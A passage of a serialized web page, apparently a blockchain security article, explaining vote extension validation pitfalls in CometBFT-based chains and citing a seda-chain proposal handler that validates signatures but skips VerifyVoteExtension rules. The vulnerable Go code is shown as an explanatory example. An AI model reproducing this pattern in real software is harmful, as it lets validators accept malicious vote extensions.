extEnabled",{"type":24,"tag":271,"props":90446,"children":90447},{"style":624},[90448],{"type":29,"value":83206},{"type":24,"tag":271,"props":90450,"children":90451},{"style":630},[90452],{"type":29,"value":90286},{"type":24,"tag":271,"props":90454,"children":90455},{"style":288},[90456],{"type":29,"value":41},{"type":24,"tag":271,"props":90458,"children":90459},{"style":630},[90460],{"type":29,"value":90461},"state",{"type":24,"tag":271,"props":90463,"children":90464},{"style":288},[90465],{"type":29,"value":41},{"type":24,"tag":271,"props":90467,"children":90468},{"style":630},[90469],{"type":29,"value":90470},"ConsensusParams",{"type":24,"tag":271,"props":90472,"children":90473},{"style":288},[90474],{"type":29,"value":41},{"type":24,"tag":271,"props":90476,"children":90477},{"style":630},[90478],{"type":29,"value":90479},"Feature",{"type":24,"tag":271,"props":90481,"children":90482},{"style":288},[90483],{"type":29,"value":41},{"type":24,"tag":271,"props":90485,"children":90486},{"style":598},[90487],{"type":29,"value":90488},"VoteExtensionsEnabled",{"type":24,"tag":271,"props":90490,"children":90491},{"style":288},[90492],{"type":29,"value":606},{"type":24,"tag":271,"props":90494,"children":90495},{"style":630},[90496],{"type":29,"value":90149},{"type":24,"tag":271,"props":90498,"children":90499},{"style":288},[90500],{"type":29,"value":41},{"type":24,"tag":271,"props":90502,"children":90503},{"style":630},[90504],{"type":29,"value":90269},{"type":24,"tag":271,"props":90506,"children":90507},{"style":288},[90508],{"type":29,"value":694},{"type":24,"tag":271,"props":90510,"children":90511},{"class":273,"line":393},[90512,90516,90521],{"type":24,"tag":271,"props":90513,"children":90514},{"style":749},[90515],{"type":29,"value":5025},{"type":24,"tag":271,"props":90517,"children":90518},{"style":630},[90519],{"type":29,"value":90520}," extEnabled",{"type":24,"tag":271,"props":90522,"children":90523},{"style":288},[90524],{"type":29,"value":7145},{"type":24,"tag":271,"props":90526,"children":90527},{"class":273,"line":402},[90528],{"type":24,"tag":271,"props":90529,"children":90530},{"style":624},[90531],{"type":29,"value":88632},{"type":24,"tag":271,"props":90533,"children":90534},{"class":273,"line":411},[90535,90539,90543,90547,90551,90555,90559,90563,90567,90571,90575,90579,90583,90588,90592,90597,90601],{"type":24,"tag":271,"props":90536,"children":90537},{"style":749},[90538],{"type":29,"value":7512},{"type":24,"tag":271,"props":90540,"children":90541},{"style":630},[90542],{"type":29,"value":90260},{"type":24,"tag":271,"props":90544,"children":90545},{"style":288},[90546],{"type":29,"value":41},{"type":24,"tag":271,"props":90548,"children":90549},{"style":630},[90550],{"type":29,"value":90311},{"type":24,"tag":271,"props":90552,"children":90553},{"style":624},[90554],{"type":29,"value":1031},{"type":24,"tag":271,"props":90556,"children":90557},{"style":630},[90558],{"type":29,"value":84965},{"type":24,"tag":271,"props":90560,"children":90561},{"style":288},[90562],{"type":29,"value":41},{"type":24,"tag":271,"props":90564,"children":90565},{"style":630},[90566],{"type":29,"value":90328},{"type":24,"tag":271,"props":90568,"children":90569},{"style":624},[90570],{"type":29,"value":989},{"type":24,"tag":271,"props":90572,"children":90573},{"style":624},[90574],{"type":29,"value":20564},{"type":24,"tag":271,"props":90576,"children":90577},{"style":630},[90578],{"type":29,"value":90149},{"type":24,"tag":271,"props":90580,"children":90581},{"style":288},[90582],{"type":29,"value":41},{"type":24,"tag":271,"props":90584,"children":90585},{"style":630},[90586],{"type":29,"value":90587},"BlockID",{"type":24,"tag":271,"props":90589,"children":90590},{"style":288},[90591],{"type":29,"value":41},{"type":24,"tag":271,"props":90593,"children":90594},{"style":598},[90595],{"type":29,"value":90596},"IsNil",{"type":24,"tag":271,"props":90598,"children":90599},{"style":288},[90600],{"type":29,"value":21742},{"type":24,"tag":271,"props":90602,"children":90603},{"style":624},[90604],{"type":29,"value":90605},"&&\n",{"type":24,"tag":271,"props":90607,"children":90608},{"class":273,"line":420},[90609,90614,90619,90623,90627,90631,90635,90639,90644,90648,90653,90657],{"type":24,"tag":271,"props":90610,"children":90611},{"style":624},[90612],{"type":29,"value":90613}," !",{"type":24,"tag":271,"props":90615,"children":90616},{"style":630},[90617],{"type":29,"value":90618},"bytes",{"type":24,"tag":271,"props":90620,"children":90621},{"style":288},[90622],{"type":29,"value":41},{"type":24,"tag":271,"props":90624,"children":90625},{"style":598},[90626],{"type":29,"value":89088},{"type":24,"tag":271,"props":90628,"children":90629},{"style":288},[90630],{"type":29,"value":606},{"type":24,"tag":271,"props":90632,"children":90633},{"style":630},[90634],{"type":29,"value":90149},{"type":24,"tag":271,"props":90636,"children":90637},{"style":288},[90638],{"type":29,"value":41},{"type":24,"tag":271,"props":90640,"children":90641},{"style":630},[90642],{"type":29,"value":90643},"ValidatorAddress",{"type":24,"tag":271,"props":90645,"children":90646},{"style":288},[90647],{"type":29,"value":158},{"type":24,"tag":271,"props":90649,"children":90650},{"style":630},[90651],{"type":29,"value":90652},"myAddr",{"type":24,"tag":271,"props":90654,"children":90655},{"style":288},[90656],{"type":29,"value":31664},{"type":24,"tag":271,"props":90658,"children":90659},{"style":2058},[90660],{"type":29,"value":90661},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":24,"tag":271,"props":90663,"children":90664},{"class":273,"line":429},[90665],{"type":24,"tag":271,"props":90666,"children":90667},{"style":624},[90668],{"type":29,"value":89308},{"type":24,"tag":271,"props":90670,"children":90671},{"class":273,"line":438},[90672,90676,90680,90684,90688,90693,90697,90701,90705,90710,90714,90719,90723,90727],{"type":24,"tag":271,"props":90673,"children":90674},{"style":630},[90675],{"type":29,"value":89126},{"type":24,"tag":271,"props":90677,"children":90678},{"style":624},[90679],{"type":29,"value":83206},{"type":24,"tag":271,"props":90681,"children":90682},{"style":630},[90683],{"type":29,"value":90286},{"type":24,"tag":271,"props":90685,"children":90686},{"style":288},[90687],{"type":29,"value":41},{"type":24,"tag":271,"props":90689,"children":90690},{"style":630},[90691],{"type":29,"value":90692},"blockExec",{"type":24,"tag":271,"props":90694,"children":90695},{"style":288},[90696],{"type":29,"value":41},{"type":24,"tag":271,"props":90698,"children":90699},{"style":598},[90700],{"type":29,"value":89954},{"type":24,"tag":271,"props":90702,"children":90703},{"style":288},[90704],{"type":29,"value":606},{"type":24,"tag":271,"props":90706,"children":90707},{"style":630},[90708],{"type":29,"value":90709},"context",{"type":24,"tag":271,"props":90711,"children":90712},{"style":288},[90713],{"type":29,"value":41},{"type":24,"tag":271,"props":90715,"children":90716},{"style":598},[90717],{"type":29,"value":90718},"TODO",{"type":24,"tag":271,"props":90720,"children":90721},{"style":288},[90722],{"type":29,"value":26067},{"type":24,"tag":271,"props":90724,"children":90725},{"style":630},[90726],{"type":29,"value":90149},{"type":24,"tag":271,"props":90728,"children":90729},{"style":288},[90730],{"type":29,"value":694},{"type":24,"tag":271,"props":90732,"children":90733},{"class":273,"line":447},[90734],{"type":24,"tag":271,"props":90735,"children":90736},{"style":624},[90737],{"type":29,"value":89308},{"type":24,"tag":271,"props":90739,"children":90740},{"class":273,"line":455},[90741],{"type":24,"tag":271,"props":90742,"children":90743},{"style":288},[90744],{"type":29,"value":7574},{"type":24,"tag":271,"props":90746,"children":90747},{"class":273,"line":464},[90748,90752,90756,90760],{"type":24,"tag":271,"props":90749,"children":90750},{"style":288},[90751],{"type":29,"value":23476},{"type":24,"tag":271,"props":90753,"children":90754},{"style":749},[90755],{"type":29,"value":11044},{"type":24,"tag":271,"props":90757,"children":90758},{"style":749},[90759],{"type":29,"value":1352},{"type":24,"tag":271,"props":90761,"children":90762},{"style":288},[90763],{"type":29,"value":7145},{"type":24,"tag":271,"props":90765,"children":90766},{"class":273,"line":473},[90767],{"type":24,"tag":271,"props":90768,"children":90769},{"style":624},[90770],{"type":29,"value":88632},{"type":24,"tag":271,"props":90772,"children":90773},{"class":273,"line":483},[90774],{"type":24,"tag":271,"props":90775,"children":90776},{"style":288},[90777],{"type":29,"value":4385},{"type":24,"tag":271,"props":90779,"children":90780},{"class":273,"line":491},[90781],{"type":24,"tag":271,"props":90782,"children":90783},{"style":624},[90784],{"type":29,"value":28027},{"type":24,"tag":271,"props":90786,"children":90787},{"class":273,"line":499},[90788],{"type":24,"tag":271,"props":90789,"children":90790},{"style":288},[90791],{"type":29,"value":1171},{"type":24,"tag":25,"props":90793,"children":90794},{},[90795],{"type":29,"value":90796},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":24,"tag":85,"props":90798,"children":90800},{"id":90799},"real-world-examples-4",[90801],{"type":29,"value":83479},{"type":24,"tag":25,"props":90803,"children":90804},{},[90805,90807,90812,90814,90820,90822,90828],{"type":29,"value":90806},"An example of the bug we just described is shown here. ",{"type":24,"tag":135,"props":90808,"children":90810},{"className":90809},[],[90811],{"type":29,"value":89933},{"type":29,"value":90813}," only checks that each vote is properly signed by a validator in ",{"type":24,"tag":135,"props":90815,"children":90817},{"className":90816},[],[90818],{"type":29,"value":90819},"ValidateVoteExtension",{"type":29,"value":90821}," but does not verify it against the rules in ",{"type":24,"tag":135,"props":90823,"children":90825},{"className":90824},[],[90826],{"type":29,"value":90827},"VerifyVoteExtention.",{"type":29,"value":90829}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":24,"tag":25,"props":90831,"children":90832},{},[90833],{"type":24,"tag":32,"props":90834,"children":90837},{"href":90835,"rel":90836},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[36],[90838],{"type":29,"value":83529},{"type":24,"tag":261,"props":90840,"children":90842},{"code":90841,"language":82954,"meta":7,"className":82955,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[90843],{"type":24,"tag":135,"props":90844,"children":90845},{"__ignoreMap":7},[90846,90900,90991,90998,91019,91086,91094,91199,91222,91241,91248,91302,91325,91380,91399,91406,91413,91420,91474,91481,91507,91530,91582,91644,91651,91678,91698,91710,91717],{"type":24,"tag":271,"props":90847,"children":90848},{"class":273,"line":274},[90849,90853,90857,90862,90866,90871,90875,90880,90884,90888,90892,90896],{"type":24,"tag":271,"props":90850,"children":90851},{"style":278},[90852],{"type":29,"value":83090},{"type":24,"tag":271,"props":90854,"children":90855},{"style":288},[90856],{"type":29,"value":1357},{"type":24,"tag":271,"props":90858,"children":90859},{"style":630},[90860],{"type":29,"value":90861},"h ",{"type":24,"tag":271,"props":90863,"children":90864},{"style":624},[90865],{"type":29,"value":627},{"type":24,"tag":271,"props":90867,"children":90868},{"style":3887},[90869],{"type":29,"value":90870},"Handlers",{"type":24,"tag":271,"props":90872,"children":90873},{"style":288},[90874],{"type":29,"value":8823},{"type":24,"tag":271,"props":90876,"children":90877},{"style":598},[90878],{"type":29,"value":90879},"PrepareProposalHandler",{"type":24,"tag":271,"props":90881,"children":90882},{"style":288},[90883],{"type":29,"value":21742},{"type":24,"tag":271,"props":90885,"children":90886},{"style":3887},[90887],{"type":29,"value":85520},{"type":24,"tag":271,"props":90889,"children":90890},{"style":288},[90891],{"type":29,"value":41},{"type":24,"tag":271,"props":90893,"children":90894},{"style":3887},[90895],{"type":29,"value":90879},{"type":24,"tag":271,"props":90897,"children":90898},{"style":288},[90899],{"type":29,"value":7145},{"type":24,"tag":271,"props":90901,"children":90902},{"class":273,"line":284},[90903,90907,90911,90915,90919,90923,90927,90931,90935,90940,90944,90949,90953,90958,90962,90966,90970,90974,90979,90983,90987],{"type":24,"tag":271,"props":90904,"children":90905},{"style":749},[90906],{"type":29,"value":9640},{"type":24,"tag":271,"props":90908,"children":90909},{"style":278},[90910],{"type":29,"value":86799},{"type":24,"tag":271,"props":90912,"children":90913},{"style":288},[90914],{"type":29,"value":606},{"type":24,"tag":271,"props":90916,"children":90917},{"style":630},[90918],{"type":29,"value":633},{"type":24,"tag":271,"props":90920,"children":90921},{"style":3887},[90922],{"type":29,"value":85431},{"type":24,"tag":271,"props":90924,"children":90925},{"style":288},[90926],{"type":29,"value":41},{"type":24,"tag":271,"props":90928,"children":90929},{"style":3887},[90930],{"type":29,"value":83139},{"type":24,"tag":271,"props":90932,"children":90933},{"style":288},[90934],{"type":29,"value":158},{"type":24,"tag":271,"props":90936,"children":90937},{"style":630},[90938],{"type":29,"value":90939},"req",{"type":24,"tag":271,"props":90941,"children":90942},{"style":624},[90943],{"type":29,"value":3895},{"type":24,"tag":271,"props":90945,"children":90946},{"style":3887},[90947],{"type":29,"value":90948},"abcitypes",{"type":24,"tag":271,"props":90950,"children":90951},{"style":288},[90952],{"type":29,"value":41},{"type":24,"tag":271,"props":90954,"children":90955},{"style":3887},[90956],{"type":29,"value":90957},"RequestPrepareProposal",{"type":24,"tag":271,"props":90959,"children":90960},{"style":288},[90961],{"type":29,"value":83172},{"type":24,"tag":271,"props":90963,"children":90964},{"style":624},[90965],{"type":29,"value":627},{"type":24,"tag":271,"props":90967,"children":90968},{"style":3887},[90969],{"type":29,"value":90948},{"type":24,"tag":271,"props":90971,"children":90972},{"style":288},[90973],{"type":29,"value":41},{"type":24,"tag":271,"props":90975,"children":90976},{"style":3887},[90977],{"type":29,"value":90978},"ResponsePrepareProposal",{"type":24,"tag":271,"props":90980,"children":90981},{"style":288},[90982],{"type":29,"value":158},{"type":24,"tag":271,"props":90984,"children":90985},{"style":3887},[90986],{"type":29,"value":22561},{"type":24,"tag":271,"props":90988,"children":90989},{"style":288},[90990],{"type":29,"value":919},{"type":24,"tag":271,"props":90992,"children":90993},{"class":273,"line":294},[90994],{"type":24,"tag":271,"props":90995,"children":90996},{"style":624},[90997],{"type":29,"value":88632},{"type":24,"tag":271,"props":90999,"children":91000},{"class":273,"line":303},[91001,91005,91010,91014],{"type":24,"tag":271,"props":91002,"children":91003},{"style":278},[91004],{"type":29,"value":86908},{"type":24,"tag":271,"props":91006,"children":91007},{"style":630},[91008],{"type":29,"value":91009}," injection",{"type":24,"tag":271,"props":91011,"children":91012},{"style":288},[91013],{"type":29,"value":83017},{"type":24,"tag":271,"props":91015,"children":91016},{"style":3887},[91017],{"type":29,"value":91018},"byte\n",{"type":24,"tag":271,"props":91020,"children":91021},{"class":273,"line":312},[91022,91026,91031,91035,91039,91043,91047,91051,91055,91059,91064,91068,91073,91077,91082],{"type":24,"tag":271,"props":91023,"children":91024},{"style":749},[91025],{"type":29,"value":7512},{"type":24,"tag":271,"props":91027,"children":91028},{"style":630},[91029],{"type":29,"value":91030}," req",{"type":24,"tag":271,"props":91032,"children":91033},{"style":288},[91034],{"type":29,"value":41},{"type":24,"tag":271,"props":91036,"children":91037},{"style":630},[91038],{"type":29,"value":90269},{"type":24,"tag":271,"props":91040,"children":91041},{"style":624},[91042],{"type":29,"value":21892},{"type":24,"tag":271,"props":91044,"children":91045},{"style":630},[91046],{"type":29,"value":33519},{"type":24,"tag":271,"props":91048,"children":91049},{"style":288},[91050],{"type":29,"value":41},{"type":24,"tag":271,"props":91052,"children":91053},{"style":598},[91054],{"type":29,"value":90470},{"type":24,"tag":271,"props":91056,"children":91057},{"style":288},[91058],{"type":29,"value":37843},{"type":24,"tag":271,"props":91060,"children":91061},{"style":630},[91062],{"type":29,"value":91063},"Abci",{"type":24,"tag":271,"props":91065,"children":91066},{"style":288},[91067],{"type":29,"value":41},{"type":24,"tag":271,"props":91069,"children":91070},{"style":630},[91071],{"type":29,"value":91072},"VoteExtensionsEnableHeight",{"type":24,"tag":271,"props":91074,"children":91075},{"style":624},[91076],{"type":29,"value":989},{"type":24,"tag":271,"props":91078,"children":91079},{"style":630},[91080],{"type":29,"value":91081}," collectSigs",{"type":24,"tag":271,"props":91083,"children":91084},{"style":288},[91085],{"type":29,"value":7145},{"type":24,"tag":271,"props":91087,"children":91088},{"class":273,"line":321},[91089],{"type":24,"tag":271,"props":91090,"children":91091},{"style":2058},[91092],{"type":29,"value":91093}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":24,"tag":271,"props":91095,"children":91096},{"class":273,"line":330},[91097,91101,91105,91110,91114,91119,91123,91127,91131,91136,91140,91145,91149,91153,91157,91161,91165,91169,91173,91178,91182,91186,91190,91195],{"type":24,"tag":271,"props":91098,"children":91099},{"style":630},[91100],{"type":29,"value":89126},{"type":24,"tag":271,"props":91102,"children":91103},{"style":624},[91104],{"type":29,"value":83206},{"type":24,"tag":271,"props":91106,"children":91107},{"style":630},[91108],{"type":29,"value":91109}," baseapp",{"type":24,"tag":271,"props":91111,"children":91112},{"style":288},[91113],{"type":29,"value":41},{"type":24,"tag":271,"props":91115,"children":91116},{"style":598},[91117],{"type":29,"value":91118},"ValidateVoteExtensions",{"type":24,"tag":271,"props":91120,"children":91121},{"style":288},[91122],{"type":29,"value":606},{"type":24,"tag":271,"props":91124,"children":91125},{"style":630},[91126],{"type":29,"value":633},{"type":24,"tag":271,"props":91128,"children":91129},{"style":288},[91130],{"type":29,"value":158},{"type":24,"tag":271,"props":91132,"children":91133},{"style":630},[91134],{"type":29,"value":91135},"h",{"type":24,"tag":271,"props":91137,"children":91138},{"style":288},[91139],{"type":29,"value":41},{"type":24,"tag":271,"props":91141,"children":91142},{"style":630},[91143],{"type":29,"value":91144},"stakingKeeper",{"type":24,"tag":271,"props":91146,"children":91147},{"style":288},[91148],{"type":29,"value":158},{"type":24,"tag":271,"props":91150,"children":91151},{"style":630},[91152],{"type":29,"value":90939},{"type":24,"tag":271,"props":91154,"children":91155},{"style":288},[91156],{"type":29,"value":41},{"type":24,"tag":271,"props":91158,"children":91159},{"style":630},[91160],{"type":29,"value":90269},{"type":24,"tag":271,"props":91162,"children":91163},{"style":288},[91164],{"type":29,"value":158},{"type":24,"tag":271,"props":91166,"children":91167},{"style":630},[91168],{"type":29,"value":633},{"type":24,"tag":271,"props":91170,"children":91171},{"style":288},[91172],{"type":29,"value":41},{"type":24,"tag":271,"props":91174,"children":91175},{"style":598},[91176],{"type":29,"value":91177},"ChainID",{"type":24,"tag":271,"props":91179,"children":91180},{"style":288},[91181],{"type":29,"value":26067},{"type":24,"tag":271,"props":91183,"children":91184},{"style":630},[91185],{"type":29,"value":90939},{"type":24,"tag":271,"props":91187,"children":91188},{"style":288},[91189],{"type":29,"value":41},{"type":24,"tag":271,"props":91191,"children":91192},{"style":630},[91193],{"type":29,"value":91194},"LocalLastCommit",{"type":24,"tag":271,"props":91196,"children":91197},{"style":288},[91198],{"type":29,"value":694},{"type":24,"tag":271,"props":91200,"children":91201},{"class":273,"line":339},[91202,91206,91210,91214,91218],{"type":24,"tag":271,"props":91203,"children":91204},{"style":749},[91205],{"type":29,"value":8468},{"type":24,"tag":271,"props":91207,"children":91208},{"style":630},[91209],{"type":29,"value":56186},{"type":24,"tag":271,"props":91211,"children":91212},{"style":624},[91213],{"type":29,"value":71173},{"type":24,"tag":271,"props":91215,"children":91216},{"style":278},[91217],{"type":29,"value":88708},{"type":24,"tag":271,"props":91219,"children":91220},{"style":288},[91221],{"type":29,"value":7145},{"type":24,"tag":271,"props":91223,"children":91224},{"class":273,"line":347},[91225,91229,91233,91237],{"type":24,"tag":271,"props":91226,"children":91227},{"style":749},[91228],{"type":29,"value":10408},{"type":24,"tag":271,"props":91230,"children":91231},{"style":278},[91232],{"type":29,"value":88708},{"type":24,"tag":271,"props":91234,"children":91235},{"style":288},[91236],{"type":29,"value":158},{"type":24,"tag":271,"props":91238,"children":91239},{"style":630},[91240],{"type":29,"value":90429},{"type":24,"tag":271,"props":91242,"children":91243},{"class":273,"line":356},[91244],{"type":24,"tag":271,"props":91245,"children":91246},{"style":288},[91247],{"type":29,"value":8554},{"type":24,"tag":271,"props":91249,"children":91250},{"class":273,"line":365},[91251,91256,91260,91264,91268,91273,91277,91282,91286,91290,91294,91298],{"type":24,"tag":271,"props":91252,"children":91253},{"style":630},[91254],{"type":29,"value":91255}," injection",{"type":24,"tag":271,"props":91257,"children":91258},{"style":288},[91259],{"type":29,"value":158},{"type":24,"tag":271,"props":91261,"children":91262},{"style":630},[91263],{"type":29,"value":56085},{"type":24,"tag":271,"props":91265,"children":91266},{"style":624},[91267],{"type":29,"value":1712},{"type":24,"tag":271,"props":91269,"children":91270},{"style":630},[91271],{"type":29,"value":91272}," json",{"type":24,"tag":271,"props":91274,"children":91275},{"style":288},[91276],{"type":29,"value":41},{"type":24,"tag":271,"props":91278,"children":91279},{"style":598},[91280],{"type":29,"value":91281},"Marshal",{"type":24,"tag":271,"props":91283,"children":91284},{"style":288},[91285],{"type":29,"value":606},{"type":24,"tag":271,"props":91287,"children":91288},{"style":630},[91289],{"type":29,"value":90939},{"type":24,"tag":271,"props":91291,"children":91292},{"style":288},[91293],{"type":29,"value":41},{"type":24,"tag":271,"props":91295,"children":91296},{"style":630},[91297],{"type":29,"value":91194},{"type":24,"tag":271,"props":91299,"children":91300},{"style":288},[91301],{"type":29,"value":694},{"type":24,"tag":271,"props":91303,"children":91304},{"class":273,"line":374},[91305,91309,91313,91317,91321],{"type":24,"tag":271,"props":91306,"children":91307},{"style":749},[91308],{"type":29,"value":8468},{"type":24,"tag":271,"props":91310,"children":91311},{"style":630},[91312],{"type":29,"value":56186},{"type":24,"tag":271,"props":91314,"children":91315},{"style":624},[91316],{"type":29,"value":71173},{"type":24,"tag":271,"props":91318,"children":91319},{"style":278},[91320],{"type":29,"value":88708},{"type":24,"tag":271,"props":91322,"children":91323},{"style":288},[91324],{"type":29,"value":7145},{"type":24,"tag":271,"props":91326,"children":91327},{"class":273,"line":384},[91328,91333,91337,91342,91346,91350,91354,91359,91363,91368,91372,91376],{"type":24,"tag":271,"props":91329,"children":91330},{"style":630},[91331],{"type":29,"value":91332}," h",{"type":24,"tag":271,"props":91334,"children":91335},{"style":288},[91336],{"type":29,"value":41},{"type":24,"tag":271,"props":91338,"children":91339},{"style":630},[91340],{"type":29,"value":91341},"logger",{"type":24,"tag":271,"props":91343,"children":91344},{"style":288},[91345],{"type":29,"value":41},{"type":24,"tag":271,"props":91347,"children":91348},{"style":598},[91349],{"type":29,"value":45066},{"type":24,"tag":271,"props":91351,"children":91352},{"style":288},[91353],{"type":29,"value":606},{"type":24,"tag":271,"props":91355,"children":91356},{"style":378},[91357],{"type":29,"value":91358},"\"failed to marshal extended votes\"",{"type":24,"tag":271,"props":91360,"children":91361},{"style":288},[91362],{"type":29,"value":158},{"type":24,"tag":271,"props":91364,"children":91365},{"style":378},[91366],{"type":29,"value":91367},"\"err\"",{"type":24,"tag":271,"props":91369,"children":91370},{"style":288},[91371],{"type":29,"value":158},{"type":24,"tag":271,"props":91373,"children":91374},{"style":630},[91375],{"type":29,"value":56085},{"type":24,"tag":271,"props":91377,"children":91378},{"style":288},[91379],{"type":29,"value":694},{"type":24,"tag":271,"props":91381,"children":91382},{"class":273,"line":393},[91383,91387,91391,91395],{"type":24,"tag":271,"props":91384,"children":91385},{"style":749},[91386],{"type":29,"value":10408},{"type":24,"tag":271,"props":91388,"children":91389},{"style":278},[91390],{"type":29,"value":88708},{"type":24,"tag":271,"props":91392,"children":91393},{"style":288},[91394],{"type":29,"value":158},{"type":24,"tag":271,"props":91396,"children":91397},{"style":630},[91398],{"type":29,"value":90429},{"type":24,"tag":271,"props":91400,"children":91401},{"class":273,"line":402},[91402],{"type":24,"tag":271,"props":91403,"children":91404},{"style":288},[91405],{"type":29,"value":8554},{"type":24,"tag":271,"props":91407,"children":91408},{"class":273,"line":411},[91409],{"type":24,"tag":271,"props":91410,"children":91411},{"style":624},[91412],{"type":29,"value":89308},{"type":24,"tag":271,"props":91414,"children":91415},{"class":273,"line":420},[91416],{"type":24,"tag":271,"props":91417,"children":91418},{"style":288},[91419],{"type":29,"value":7574},{"type":24,"tag":271,"props":91421,"children":91422},{"class":273,"line":429},[91423,91428,91432,91436,91440,91445,91449,91454,91458,91462,91466,91470],{"type":24,"tag":271,"props":91424,"children":91425},{"style":630},[91426],{"type":29,"value":91427}," defaultRes",{"type":24,"tag":271,"props":91429,"children":91430},{"style":288},[91431],{"type":29,"value":158},{"type":24,"tag":271,"props":91433,"children":91434},{"style":630},[91435],{"type":29,"value":56085},{"type":24,"tag":271,"props":91437,"children":91438},{"style":624},[91439],{"type":29,"value":83206},{"type":24,"tag":271,"props":91441,"children":91442},{"style":630},[91443],{"type":29,"value":91444}," h",{"type":24,"tag":271,"props":91446,"children":91447},{"style":288},[91448],{"type":29,"value":41},{"type":24,"tag":271,"props":91450,"children":91451},{"style":598},[91452],{"type":29,"value":91453},"defaultPrepareProposal",{"type":24,"tag":271,"props":91455,"children":91456},{"style":288},[91457],{"type":29,"value":606},{"type":24,"tag":271,"props":91459,"children":91460},{"style":630},[91461],{"type":29,"value":633},{"type":24,"tag":271,"props":91463,"children":91464},{"style":288},[91465],{"type":29,"value":158},{"type":24,"tag":271,"props":91467,"children":91468},{"style":630},[91469],{"type":29,"value":90939},{"type":24,"tag":271,"props":91471,"children":91472},{"style":288},[91473],{"type":29,"value":694},{"type":24,"tag":271,"props":91475,"children":91476},{"class":273,"line":438},[91477],{"type":24,"tag":271,"props":91478,"children":91479},{"style":624},[91480],{"type":29,"value":88632},{"type":24,"tag":271,"props":91482,"children":91483},{"class":273,"line":447},[91484,91489,91493,91498,91502],{"type":24,"tag":271,"props":91485,"children":91486},{"style":630},[91487],{"type":29,"value":91488}," proposalTxs",{"type":24,"tag":271,"props":91490,"children":91491},{"style":624},[91492],{"type":29,"value":83206},{"type":24,"tag":271,"props":91494,"children":91495},{"style":630},[91496],{"type":29,"value":91497}," defaultRes",{"type":24,"tag":271,"props":91499,"children":91500},{"style":288},[91501],{"type":29,"value":41},{"type":24,"tag":271,"props":91503,"children":91504},{"style":630},[91505],{"type":29,"value":91506},"Txs\n",{"type":24,"tag":271,"props":91508,"children":91509},{"class":273,"line":455},[91510,91514,91518,91522,91526],{"type":24,"tag":271,"props":91511,"children":91512},{"style":749},[91513],{"type":29,"value":7512},{"type":24,"tag":271,"props":91515,"children":91516},{"style":630},[91517],{"type":29,"value":91009},{"type":24,"tag":271,"props":91519,"children":91520},{"style":624},[91521],{"type":29,"value":71173},{"type":24,"tag":271,"props":91523,"children":91524},{"style":278},[91525],{"type":29,"value":88708},{"type":24,"tag":271,"props":91527,"children":91528},{"style":288},[91529],{"type":29,"value":7145},{"type":24,"tag":271,"props":91531,"children":91532},{"class":273,"line":464},[91533,91538,91542,91546,91551,91556,91560,91565,91569,91574,91578],{"type":24,"tag":271,"props":91534,"children":91535},{"style":630},[91536],{"type":29,"value":91537}," proposalTxs",{"type":24,"tag":271,"props":91539,"children":91540},{"style":624},[91541],{"type":29,"value":1712},{"type":24,"tag":271,"props":91543,"children":91544},{"style":598},[91545],{"type":29,"value":84486},{"type":24,"tag":271,"props":91547,"children":91548},{"style":288},[91549],{"type":29,"value":91550},"([][]",{"type":24,"tag":271,"props":91552,"children":91553},{"style":3887},[91554],{"type":29,"value":91555},"byte",{"type":24,"tag":271,"props":91557,"children":91558},{"style":288},[91559],{"type":29,"value":83408},{"type":24,"tag":271,"props":91561,"children":91562},{"style":630},[91563],{"type":29,"value":91564},"injection",{"type":24,"tag":271,"props":91566,"children":91567},{"style":288},[91568],{"type":29,"value":83427},{"type":24,"tag":271,"props":91570,"children":91571},{"style":630},[91572],{"type":29,"value":91573},"proposalTxs",{"type":24,"tag":271,"props":91575,"children":91576},{"style":624},[91577],{"type":29,"value":17298},{"type":24,"tag":271,"props":91579,"children":91580},{"style":288},[91581],{"type":29,"value":694},{"type":24,"tag":271,"props":91583,"children":91584},{"class":273,"line":473},[91585,91590,91594,91598,91602,91606,91610,91615,91619,91624,91628,91632,91636,91640],{"type":24,"tag":271,"props":91586,"children":91587},{"style":630},[91588],{"type":29,"value":91589}," h",{"type":24,"tag":271,"props":91591,"children":91592},{"style":288},[91593],{"type":29,"value":41},{"type":24,"tag":271,"props":91595,"children":91596},{"style":630},[91597],{"type":29,"value":91341},{"type":24,"tag":271,"props":91599,"children":91600},{"style":288},[91601],{"type":29,"value":41},{"type":24,"tag":271,"props":91603,"children":91604},{"style":598},[91605],{"type":29,"value":32386},{"type":24,"tag":271,"props":91607,"children":91608},{"style":288},[91609],{"type":29,"value":606},{"type":24,"tag":271,"props":91611,"children":91612},{"style":378},[91613],{"type":29,"value":91614},"\"injected local last 